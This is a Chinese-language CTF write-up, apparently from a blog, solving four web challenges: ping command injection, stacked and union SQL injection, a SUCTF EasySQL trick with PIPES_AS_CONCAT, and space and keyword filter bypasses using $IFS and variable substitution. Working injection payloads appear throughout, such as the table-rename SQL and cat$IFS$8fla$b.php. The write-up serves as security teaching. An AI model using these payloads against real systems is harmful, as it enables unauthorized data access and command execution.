[ACTF2020 新生赛]Exec 1
-
知识点
- 命令执行漏洞
| : 直接执行后面的语句
||: 如果前面执行的语句出错,才执行后面的语句
&: &前面后面的命令都要执行,无论真假
&&:如果前面为假就直接出错,后面的不会被执行
-
解题步骤
看到是ping,先输入ip地址试一下
因为是命令输入框,猜测可能存在命令执行漏洞,输入|cat /flag 试一下
然后直接ping,可以得出flag
[强网杯 2019]随便注 1
-
知识点
- SQL注入
- 联合注入
- 堆叠注入
- 爆库爆表查字段
SQL注入步骤大概总结
1、判断注入点
2、判断字段(列)数
3、判断回显点(看情况)
4、查数据 数据库、表、列、列中的数据
-
解题步骤
先用万能钥匙浅浅试一下水,得到下面的代码
2.由此得出存在SQL注入,所以这个时候,可以先判断一下字段个数
判断列数,字段个数,用1' order by 数字# ,order by 作用是排序
判断字段个数如图所示
到第三列报错,说明只有两列
爆表,看看有什么
爆表:1';show tables;#
发现有两个表,一个是1919810931114514,一个是words
分别进去两个表,获取表中列名,得到如图所示
1';show columns from words;#
1';show columns from `1919810931114514`;#
这个时候在一串数字的表中,发现了flag,下面考虑如何回显
更改表名列名类型
因为查询是在words中查询id,所以我们将表1919810931114514改名为words,将words改名为其他名字。同时将flag属性改名为id属性,类型为varchar(100)
1';rename table `words` to word;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#
注:alter 译为 改变
然后输入此命令后,再查一下表,以及表中的列
万能语句直接回显flag
疑惑?为什么需要更改表名列名以及属性,才可以用万能语句获得flag
[SUCTF 2019]EasySQL 1
-
知识点
- 后端代码猜测
- ||的理解
- select from的理解
- mysql中sql_mode参数设置
- *的理解
-
解题步骤
先万能语句,发现不可以
试一下堆叠注入,爆库,爆表
由这里Array([0] => 1)和Array([0] >= Flag)可以猜测出1和flag必然有什么联系
这里有的大神会猜测出后端代码
select $_GET[‘query’] || flag from flag
||,理解:如果前面的代码为真,则后面的代码不执行
第一种解法
*,1
如果$post[‘query’]的数据为*,1,
sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,就直接查询出了Flag表中的所有内容。
“select * from”中“*”意思是:指查询表或视图中的所有字段。
select 1 from 的意思其实是建立一个临时列,这个列的所有初始值都被设为1。
得到flag。
第二种解法
1;set sql_mode=PIPES_AS_CONCAT;select 1
执行了set sql_mode=PIPES_AS_CONCAT后,select 1||flag from flag显示的就为select 1 from flag 与select flag from flag的拼接版。
翻译PIPES_AS_CONCAT,即将pipes(即||)当做concat连接符来用
concat函数:将多个字符串 连接成一个字符串。
[GXYCTF2019]Ping Ping Ping 1
-
知识点
- 绕过空格方法
- 参数替代方法
- cat与tac函数
-
解题步骤
看到题目是ping,并且打开界面有个ip的参数,先在url这里传一下ip地址
查一下当前目录里面的文件
哇哦~,发现了flag.php文件,尝试用cat打开一下
利用cat打开flag.php文件
发现并不可以,提示空格被过滤掉了
利用其他字符绕过空格
绕过空格的方法
$IFS
${IFS}
$IFS$1 //1改成加其他数字好像都是可以的
<
<>
注:这道题好像; , 都可以绕过空格,不清楚是不是通用
发现虽然绕过了空格,但是flag竟然也被过滤了,要想办法进行字符替换
这里采用参数替代
?ip=127.0.0.1;b=g;cat$IFS$8fla$b.php
注意在使用参数的时候,加一个$
这里同时绕过空格和flag的时候,需要用$IFS$1这种绕过方式(不是很理解,看其他wp有的其他绕过方式也是可以的),然后右键查看源代码
利用tac(cat函数的反写),可以不用看源代码,直接显示
cat命令读取文件的内容并将内容连续输出到标准输出,用于查看文件的内容。
cat是单词concatenate的简写。
如果没有加任何参数,cat读取标准输入并输出到标准输出。
tac命令和cat命令的功能一样,区别是cat将文件从第一行到最后一行连续显示到屏幕上,
而tac则正好相反,从最后一行到第一行反向输出到屏幕上。
tac是cat的反写形式。
深究一下源代码,发现里面绕过了好多
来源地址:https://blog.csdn.net/m0_62905745/article/details/127464244